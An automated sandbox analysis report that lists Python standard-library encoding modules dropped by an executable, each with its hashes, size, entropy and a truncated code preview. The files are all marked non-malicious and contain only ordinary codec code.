File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	2327
Entropy (8bit):	4.640437967116185
Encrypted:	false
SSDEEP:	48:XT1NsDZd91AIFjz1AIo31951TuY51w6P7z0/51wz2xth+yvIvPTK2yJxHjH:XxeDZX/Fjz/o3JNuY5H7zq53thA3TKvD
MD5:	1AA105E7EED39A1B52B24B524B541AB0
SHA1:	9DE4EB2157EF2D0339EB565B0BD2AD6DBA1172B3
SHA-256:	A0A34436976BB5137403C148CB8B332653F14CAA6CDF102150E82646D5249A5E
SHA-512:	CDA0CDAA96ECC52F5D57C9CA9D118B90D2E93630D47ED9CB99E0BA07A40D03470872676CB00B7DEE70089045E9AAB3BF37AF09DF075B7C5212947C9A17F66979
Malicious:	false
Preview:	"""Python 'bz2_codec' Codec - bz2 compression encoding.....This codec de/encodes from bytes to bytes and is therefore usable with..bytes.transform() and bytes.untransform().....Adapted by Raymond Hettinger from zlib_codec.py which was written..by Marc-Andre Lemburg (mal@lemburg.com)..."""....import codecs..import bz2 # this codec needs the optional bz2 module !....### Codec APIs....def bz2_encode(input, errors='strict'):.. assert errors == 'strict'.. return (bz2.compress(input), len(input))....def bz2_decode(input, errors='strict'):.. assert errors == 'strict'.. return (bz2.decompress(input), len(input))....class Codec(codecs.Codec):.. def encode(self, input, errors='strict'):.. return bz2_encode(input, errors).. def decode(self, input, errors='strict'):.. return bz2_decode(input, errors)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def __init__(self, errors='strict'):.. assert errors == 'strict'.. self.errors = errors..

C:\recover\pw\Lib\encodings\charmap.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	2153
Entropy (8bit):	4.704086253537808
Encrypted:	false
SSDEEP:	48:ad1E6SbuY5qRl45qrO6SA13MNOg106SA13MNOo1tRTKyQJxHf:adKlbuY5qRl45qrOW13Mkg2y13MooDRm
MD5:	8A14214EF1C47A40C56C08A793FC9923
SHA1:	73205DCA66A87C26464472C25D39795BFFF46F88
SHA-256:	1EA641E7C63C0A022A663F5D2024A71124272E088C246583D2D44CDDDF548A32
SHA-512:	D7E94201E8168043BE5BD6D1CE5B0720E653EC84A7ABBEAB6F99781228435C590D75B1FE3AE58B700287E6AABC7A44DA4059561F22317B7A529263E1AD2A3C8F
Malicious:	false
Preview:	""" Generic Python Character Mapping Codec..... Use this codec directly rather than through the automatic.. conversion mechanisms supplied by unicode() and .encode().......Written by Marc-Andre Lemburg (mal@lemburg.com).....(c) Copyright CNRI, All Rights Reserved. NO WARRANTY....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... # Note: Binding these as C functions will result in the class not.. # converting them to methods. This is intended... encode = codecs.charmap_encode.. decode = codecs.charmap_decode....class IncrementalEncoder(codecs.IncrementalEncoder):.. def __init__(self, errors='strict', mapping=None):.. codecs.IncrementalEncoder.__init__(self, errors).. self.mapping = mapping.... def encode(self, input, final=False):.. return codecs.charmap_encode(input, self.errors, self.mapping)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def __init__(self, errors='strict', mapping=None):.. c

C:\recover\pw\Lib\encodings\cp037.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	13428
Entropy (8bit):	4.523742655695844
Encrypted:	false
SSDEEP:	192:HHhsuOTDvR6UZkPS9BC4KNVFIhRNvcE8bV2H2QB:KT7C4PRcE8bgWQB
MD5:	A28DE4284DFAEFEC5CF40EE279C388F3
SHA1:	5EEF5925AC2C77227A03067E17808B5F10C41018
SHA-256:	FA3FF4B328C72315EC622CD62FEAC21189A3C85BCC675552D0EC46677F16A42C
SHA-512:	8FD7FD3C0A099A5851E9A06B10D6B44F29D4620426A04AE008EB484642C99440571D1C2C52966D972C2C91681EBD1C9BF524B99582D48E707719D118F4CD004A
Malicious:	false
Preview:	""" Python Character Mapping Codec cp037 generated from 'MAPPINGS/VENDORS/MICSFT/EBCDIC/CP037.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp037',.. e

C:\recover\pw\Lib\encodings\cp1006.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	13875
Entropy (8bit):	4.677799937409236
Encrypted:	false
SSDEEP:	192:0HhsuOTDvRbUrXPLouhIAs2+ijL5YvwKpVMY4Uq:RTZuhIAlr4C
MD5:	8E2D801694A19B3A569F383708A5F7CB
SHA1:	B1803CF5FF75A77BDA42CED7C15E74861273B713
SHA-256:	1FDCD59D3277C3768DE74DD8CE4F5F8BEEA569C00CBAA3A20714500F3508B8CB
SHA-512:	8DC24DBDC779C89CFA22E28D8175C2A32562EA1F9C070333565A7A8449DEB5C8BF65A886E7A5360EF540E321B3A685530B1E53AE4638232B297450ACEC68B1E8
Malicious:	false
Preview:	""" Python Character Mapping Codec cp1006 generated from 'MAPPINGS/VENDORS/MISC/CP1006.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp1006',.. encode=

C:\recover\pw\Lib\encodings\cp1026.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	13420
Entropy (8bit):	4.5283835755402215
Encrypted:	false
SSDEEP:	192:RHhsuOTDvR1UZkPS9Dc24sOtV5I8pgYtxj5u1a:ETcc24HXpgY/loa
MD5:	F453ED24A766166472B48010C7712629
SHA1:	0F269160E99FA1ACBC12B882AA9ED1976488B11E
SHA-256:	8C1D85BE11A3A0A5E6A40101C68548480D0378DF0414E3C16D9CBE9F923C028E
SHA-512:	420CD9363A0D72FCA7B22300CE4AC0868320D945E0FCE4C1F09659D4601168F96993D640BEA0FBF9112948D17DE08A41F674DF5E65D34859B9BFB46D89D120D4
Malicious:	false
Preview:	""" Python Character Mapping Codec cp1026 generated from 'MAPPINGS/VENDORS/MICSFT/EBCDIC/CP1026.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp1026',..

C:\recover\pw\Lib\encodings\cp1125.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	35295
Entropy (8bit):	4.600149049702432
Encrypted:	false
SSDEEP:	192:WLsuYDvRH0CnFdiaYzF0wrE0PXRN/h4wcuSMXY3uD8HtIMpWx449jBRWJn4bkVdO:r6MBkjh4wVXYrx0HWJn4AVd0kUMy
MD5:	127B6641AE648FF494CD9285BE4C61CC
SHA1:	61464AA653D2AEE959EE90809BDBF98075B1736E
SHA-256:	5286E2162D53A6B189D83B242BC04AB59A48BBBC4ECF094C11BC1542C0604279
SHA-512:	335AC036D6D88270E944FF01D3DCF1B1F1DBE38A75C534836E839DEB474E776EEAB76C08AA4BF150CEA33594AAFAB33EFD593246F958956A4894C2E1819B4C96
Malicious:	false
Preview:	""" Python Character Mapping Codec for CP1125...."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_map).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_map)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp1125',.. encode=Codec().encode,.. decode=Codec().decode,.. incremental

C:\recover\pw\Lib\encodings\cp1140.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	13412
Entropy (8bit):	4.524379090064879
Encrypted:	false
SSDEEP:	192:sHhsuOTDvRiUZkPS9BC4KNVFIhRrvcE8bV2H2QB:ZTvC4PDcE8bgWQB
MD5:	C2F88AB320D40C3B1B6394F57A04AF81
SHA1:	A48B25ABE903EFA9C2B073783087ED06F23BCA0F
SHA-256:	0451016F6A4B7013DEA1BA35925412FBAD743DDF46E857BE2C272F2A2CB8D403
SHA-512:	19732A5B121339BD14BD0C7285FD7EE696E7432A28A7B140C92B6206E69011F2FCE50B8B52BCAE7C14DB31444EC9808F27CE07EA4390434ECFBDA096A5E022C6
Malicious:	false
Preview:	""" Python Character Mapping Codec cp1140 generated from 'python-mappings/CP1140.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp1140',.. encode=Codec(

C:\recover\pw\Lib\encodings\cp1250.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	13993
Entropy (8bit):	4.595187696759194
Encrypted:	false
SSDEEP:	192:mHhsuOTDvR+UrXPLouhIAs2+icI2DCYCTG3RKjV:DTsuhIAlquq4V
MD5:	164A9C1A625524FCB480DBE56076D738
SHA1:	C21A1A50BBAC7EF8D1CC3A2E093FE5EBDBBD35C4
SHA-256:	3FFEA0100ABEF80F916BC2920B296B2EDDD6ECB06FB3CA07549F95FC92CA1F11
SHA-512:	AB0160965CCED9E7BF45D6A64C34A0AC363B4CF5D2447C303397DB79C5F04ED861D9D0D5FF833C0685029E702534DEFE3EBB5AB5B05C5A5842050221CDC91A5B
Malicious:	false
Preview:	""" Python Character Mapping Codec cp1250 generated from 'MAPPINGS/VENDORS/MICSFT/WINDOWS/CP1250.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp1250',..

C:\recover\pw\Lib\encodings\cp1251.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	13668
Entropy (8bit):	4.623567935376835
Encrypted:	false
SSDEEP:	192:YHhsuOTDvRBUrXPLouhIAs2+iEI0DCYnWEDp+/:lTPuhIAlYrWEo/
MD5:	E81DE8E87BAB1DEFF99125C66229F26E
SHA1:	5800D009E3D4C428B7303532AAD20BA3BBBE8011
SHA-256:	46FA091D1822434E8D0AF7A92439607018872598FCDE44026F413DD973F14C98
SHA-512:	B14BFE809CF20E5FD82CF5E435983DC5FEAA4E5DE19D16AA4BED7FD0CBFD18A429DD0129AA6058053709CE230CE38224F7CE15CFBCD75A803B04ABC85FA9440B
Malicious:	false
Preview:	""" Python Character Mapping Codec cp1251 generated from 'MAPPINGS/VENDORS/MICSFT/WINDOWS/CP1251.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp1251',..

C:\recover\pw\Lib\encodings\cp1252.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	13818
Entropy (8bit):	4.5698138915249915
Encrypted:	false
SSDEEP:	192:OHhsuOTDvR8UrXPLouhIAs2+i/I1DCYkZt6VN6ATdo56G:bTeuhIAlcoZt6to
MD5:	52084150C6D8FC16C8956388CDBE0868
SHA1:	368F060285EA704A9DC552F2FC88F7338E8017F2
SHA-256:	7ACB7B80C29D9FFDA0FE79540509439537216DF3A259973D54E1FB23C34E7519
SHA-512:	77E7921F48C9A361A67BAE80B9EEC4790B8DF51E6AFF5C13704035A2A7F33316F119478AC526C2FDEBB9EF30C0D7898AEA878E3DBA65F386D6E2C67FE61845B4
Malicious:	false
Preview:	""" Python Character Mapping Codec cp1252 generated from 'MAPPINGS/VENDORS/MICSFT/WINDOWS/CP1252.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp1252',..

C:\recover\pw\Lib\encodings\cp1253.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	13401
Entropy (8bit):	4.649593364658793
Encrypted:	false
SSDEEP:	192:EHhsuOTDvRPUrXPLouhIAs2+i/I+DCYdlRfA21XHHjfvK8uHZf:hTBuhIAlvRlNr1XO8Ax
MD5:	E86052CD641A07AA72686984073AF47E
SHA1:	D9CAA17B52A5F48087F587B2996388DA799955BF
SHA-256:	E0B0AFBD19DB367C34C505F99A2FCCAFC6BAE3DFD4E316F86375179DCFC60A28
SHA-512:	7F87B2577902646C394FCC2D7A5407B05E23AC3CD07E7749CEDC9898F3E357067729F586011862D9FC8604DB13D0921B060471C3A52B6C17A0F7C5694DDA7788
Malicious:	false
Preview:	""" Python Character Mapping Codec cp1253 generated from 'MAPPINGS/VENDORS/MICSFT/WINDOWS/CP1253.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp1253',..

C:\recover\pw\Lib\encodings\cp1254.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	13809
Entropy (8bit):	4.577307574580316
Encrypted:	false
SSDEEP:	192:OHhsuOTDvRiUrXPLouhIAs2+i/IfDCYuZt6B5TdjN:bTQuhIAlK6Zt69x
MD5:	490756413A61FC0954EFA491244CD487
SHA1:	849EC325801A2E2CC784A54590482593FF89A5A1
SHA-256:	0986ACD9A25FE91C4720C912322253AD105AB951A2D0D364CF0E522E6E52C174
SHA-512:	BCDC7CB6C94600D15F9A3BFA51BDC0D289C997AC40EC4DA1CB0D91B6BFE875968B6C2834FC03D306EE6A3D022955C1C3435864491AF8548E82ACC60E2A215601
Malicious:	false
Preview:	""" Python Character Mapping Codec cp1254 generated from 'MAPPINGS/VENDORS/MICSFT/WINDOWS/CP1254.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp1254',..

C:\recover\pw\Lib\encodings\cp1255.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	12773
Entropy (8bit):	4.658204122531881
Encrypted:	false
SSDEEP:	192:IHhsuOTDvRVUrXPLouhIAs2+i/IRDCYLSC51N7jG6ZZPHxvTh:VTTuhIAlQ3Sm7b
MD5:	8B8E1CC22BEF6EDE6E44C4DD2A287FF6
SHA1:	304930955DF0499CBFDF90BFD9BB9A01D0059B23
SHA-256:	C039AD62EE73102915D989CF390F76896C335CA8DBCDD4CA27D5441F76E081BE
SHA-512:	FA779A6E599816AAAA84C1FB715217DE2341399D47E70A440A06E312BA69780E14CB3014D048C7005F5A9025B3AB8D508DA052BFD678AD4E269F10CB1B35AE66
Malicious:	false
Preview:	""" Python Character Mapping Codec cp1255 generated from 'MAPPINGS/VENDORS/MICSFT/WINDOWS/CP1255.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp1255',..

C:\recover\pw\Lib\encodings\cp1256.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	13121
Entropy (8bit):	4.623477051591162
Encrypted:	false
SSDEEP:	192:2HhsuOTDvRgUrXPLouhIAs2+i75IiPEFPDCYljorsWCdxeiu5it2uncgYejC:TTiuhIAl4P6rsEr
MD5:	2CCBF9B374CE98453955DAD9848C90FF
SHA1:	0E7B99D406E72AF59F80405B9676988CD6881C40
SHA-256:	24A69E11902CC4054280EC2DE38EE836D0BE22EABDB9CDC56D9A7B63C8CDDB06
SHA-512:	4A97C524F951DE4CF08F2EF86F9AA9F4F421BA3327D07E0B883958057E6204A410F42E82E0C7DBBAC8F3252065F96A4255A820753BD6EBE80254E1AFE160FD3F
Malicious:	false
Preview:	""" Python Character Mapping Codec cp1256 generated from 'MAPPINGS/VENDORS/MICSFT/WINDOWS/CP1256.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp1256',..

C:\recover\pw\Lib\encodings\cp1257.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	13681
Entropy (8bit):	4.608029292102436
Encrypted:	false
SSDEEP:	192:8HhsuOTDvRzUrXPLouhIAs2+icIkDCYwoe1X:pTluhIAlI0oet
MD5:	544A8ACE12064E96C3E6A7DB436F9F09
SHA1:	ADADE6DC415731BCC23386DF031CA5B003D09881
SHA-256:	902262C0640FC0F21CF85A86456DC33D43E51B07E6C961526BF7F7ED4CE2AB8D
SHA-512:	4830A946DA25CBECDD1AEB5DF055FD1961EF8E32936406889C39EE4F9ACD6A15605DCA448AA73DF0A4BE721BAB6B04C03D02524918FCBB1499C4E7B60863BCE2
Malicious:	false
Preview:	""" Python Character Mapping Codec cp1257 generated from 'MAPPINGS/VENDORS/MICSFT/WINDOWS/CP1257.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp1257',..

C:\recover\pw\Lib\encodings\cp1258.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	13671
Entropy (8bit):	4.591778820995035
Encrypted:	false
SSDEEP:	192:2HhsuOTDvRmUrXPLouhIAs2+i/IZDCYAZtTBd0HXIGPf:TTEuhIAlIMZtlJS
MD5:	11328D7E1CD433053C29BEC6C739FB67
SHA1:	FD2D141516EEF65B903F552AC68CE30AE45A40A8
SHA-256:	A9E1E891DD1F28DEA5ABB5819AEE1477156D288733EB2342F0696F1E5DD0A11D
SHA-512:	E643AFFBC683B99169FDB236184E25DDAC58803FB11799BD56BE44376953DD16F5E4C982CDFCA8D8F79D0B142E294ABAB72F25202F012F4149371B20F408A3E0
Malicious:	false
Preview:	""" Python Character Mapping Codec cp1258 generated from 'MAPPINGS/VENDORS/MICSFT/WINDOWS/CP1258.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp1258',..

C:\recover\pw\Lib\encodings\cp273.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	14439
Entropy (8bit):	4.5334908386243296
Encrypted:	false
SSDEEP:	192:8HhsuOTDvR8Us0/nt7nw642d0C2UjoDyHg45tgVp3E5EmYI:pT1PtbcWoDumpU+mYI
MD5:	CF85B6224C5FE7C8EA6CBAD1C1BB6155
SHA1:	C8E3B07E4B5447EC58A280414228797EE6816A24
SHA-256:	016C8DA778E50CBCF76815BBD8F6D0D33DBF1FAF852726D85A5A47651C371033
SHA-512:	8FF744A4A173D2F046180A6A5C1A17715E7ADA582278166B2A418DE4C65441A47A040E8040E2385E02A24826082542D6CFBB3B548401ABEA8D0A17FEFD43B660
Malicious:	false
Preview:	""" Python Character Mapping Codec cp273 generated from 'python-mappings/CP273.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp273',.. encode=Codec().e

C:\recover\pw\Lib\encodings\cp424.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	12362
Entropy (8bit):	4.601902617990224
Encrypted:	false
SSDEEP:	192:aHhsuOTDvRqUwGYPJHjA/KT4RltXARfFVV2IC4FcE8bVO4BG2QST/:3TBcWK3cE8bT1QK
MD5:	85667B33899EC661331A9CA44CB36DEC
SHA1:	E755BF3ACA17896638E62BE91D9C8AFE0A6ED725
SHA-256:	AE6E956B42CF3AE32E988833772FC040F8393DA007048AD2B4E1D621FE6523E7
SHA-512:	4D7178C9AC351A644F6062D09FA9C28D569F48ABF1CC4F906C93B8BCCB151FE450E0A9B7A8EF26BD2851A7CE213F27A309F0EA6A2C999A7C5866432DF9E6FBCB
Malicious:	false
Preview:	""" Python Character Mapping Codec cp424 generated from 'MAPPINGS/VENDORS/MISC/CP424.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp424',.. encode=Cod

C:\recover\pw\Lib\encodings\cp437.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	35262
Entropy (8bit):	4.591583826618043
